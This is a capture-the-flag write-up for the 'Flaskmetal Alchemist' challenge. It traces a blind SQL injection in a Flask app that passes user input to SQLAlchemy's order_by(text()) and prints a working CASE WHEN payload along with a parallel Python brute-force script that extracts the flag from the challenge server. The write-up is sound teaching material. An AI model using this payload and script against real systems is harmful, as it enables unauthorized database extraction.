Flaskmetal Alchemist
Edward has decided to get into web development, and he built this awesome application that lets you search for any metal you want. Alphonse has some reservations though, so he wants you to check it out and make sure it's legit.
NOTE: this flag does not follow the usual MD5 hash style format, but instead is a short style with lower case flag{letters_with_underscores}
Challenge
TL;DR: Unsafe usage of SQLAlchemy library leading to SQLite Blind SQL injection
We are given the main bulk of the challenge source code in this challenge, so we can actually set up a local instance. In this case, it might not be necessary as the amount of code is really small.
The directory structure of the given files are:
.
├── Dockerfile
├── requirements.txt
└── src
├── app.py
├── database.py
├── models.py
└── seed.py
In database.py
, we see that the challenge uses SQLite as the database engine. We also see that the SQLAlchemy library is being used:
from sqlalchemy import create_engine
from sqlalchemy.orm import scoped_session, sessionmaker
from sqlalchemy.ext.declarative import declarative_base
engine = create_engine("sqlite:////tmp/test.db")
In models.py
, we see that the challenge has 2 tables, 1 is called metals
and the other 1 is called flag
(boy do I wonder which table contains what we want 🤣):
class Metal(Base):
__tablename__ = "metals"
atomic_number = Column(Integer, primary_key=True)
symbol = Column(String(3), unique=True, nullable=False)
name = Column(String(40), unique=True, nullable=False)
def __init__(self, atomic_number=None, symbol=None, name=None):
self.atomic_number = atomic_number
self.symbol = symbol
self.name = name
class Flag(Base):
__tablename__ = "flag"
flag = Column(String(40), primary_key=True)
def __init__(self, flag=None):
self.flag = flag
In seed.py
the function populates the SQLite tables with the metals and flag data.
The main logic of the challenge is found in app.py
:
@app.route("/", methods=["GET", "POST"])
def index():
if request.method == "POST":
search = ""
order = None
if "search" in request.form:
search = request.form["search"]
if "order" in request.form:
order = request.form["order"]
if order is None:
metals = Metal.query.filter(Metal.name.like("%{}%".format(search))) # [1]
else:
metals = Metal.query.filter(
Metal.name.like("%{}%".format(search))
).order_by(text(order)) # [2]
return render_template("home.html", metals=metals)
else:
metals = Metal.query.all()
return render_template("home.html", metals=metals)
We see that in a POST
request, the input parameters search
and order
are used as part of the SQLAlchemy query builder. This means that we could potentially influence the final query to be executed.
At [1], we see that our input parameter search
is being used in the filter()
function of SQLAlchemy. Unfortunately, this function will sanitize our input and we would not be able to perform SQL injection here.
However, at [2], observe that inside the order_by()
function, the text()
function is used to wrap around our order
variable. This function accepts Raw SQL query strings, and this is where our injection point is at.
To prove our theory, we will attempt to inject quotes into both input fields and see the results. Injecting into the search
parameter:
Injecting into the order
parameter:
Since our injection point is at the ORDER BY
part, we will not be able to UNION SELECT
at this stage. This leaves us with a blind SQL injection challenge. In order to extract information, we can sort by different columns, or sort by ASC
or DESC
for a single column. Our injection string can therefore be something like:
(CASE WHEN (SELECT SUBSTR(flag,1,1) FROM flag)='f' THEN atomic_number ELSE symbol END) ASC
which will sort the results in ASC
order by:
atomic_number
if the first character of the columnflag
in the tableflag
is the letterf
;symbol
otherwise
Injecting that query above into the challenge site, we see that the first row of the response table is:
We then changed the injected query to:
(CASE WHEN (SELECT SUBSTR(flag,1,1) FROM flag)='z' THEN atomic_number ELSE symbol END) ASC
which should show a different first row in the response table:
Since it indeed showed a different sorting order of the table, we can confirm that the SQL injection worked. We can now opt to write a script that can retrieve the flag for us:
# pwn.py
from multiprocessing import Pool
import re
import requests
import string
pool = None
def guess_flag():
for i in range(1, 41):
guess_alpha(i)
def guess_alpha(n):
global pool
pool = Pool(10)
charmap = string.printable
raw_query = "(CASE WHEN (SELECT SUBSTR(flag,{},1) FROM flag)='[CHAR]' THEN atomic_number ELSE symbol END) ASC".format(n)
for char in charmap:
query = raw_query.replace("[CHAR]", char)
pool.apply_async(brute, [query, char], callback=callback)
pool.close()
pool.join()
def callback(result):
if result:
pool.terminate()
print(result, end="")
def brute(guess, char):
url = "http://challenge.nahamcon.com:30453/"
data = {
"search": "",
"order": "{}".format(guess)
}
res = requests.post(url, data=data)
out = re.search("<td>(.+)</td>", res.text)
if out.group(1) != "Actinium":
return char
return False
guess_flag()
Running the script, we were able to exfiltrate the flag: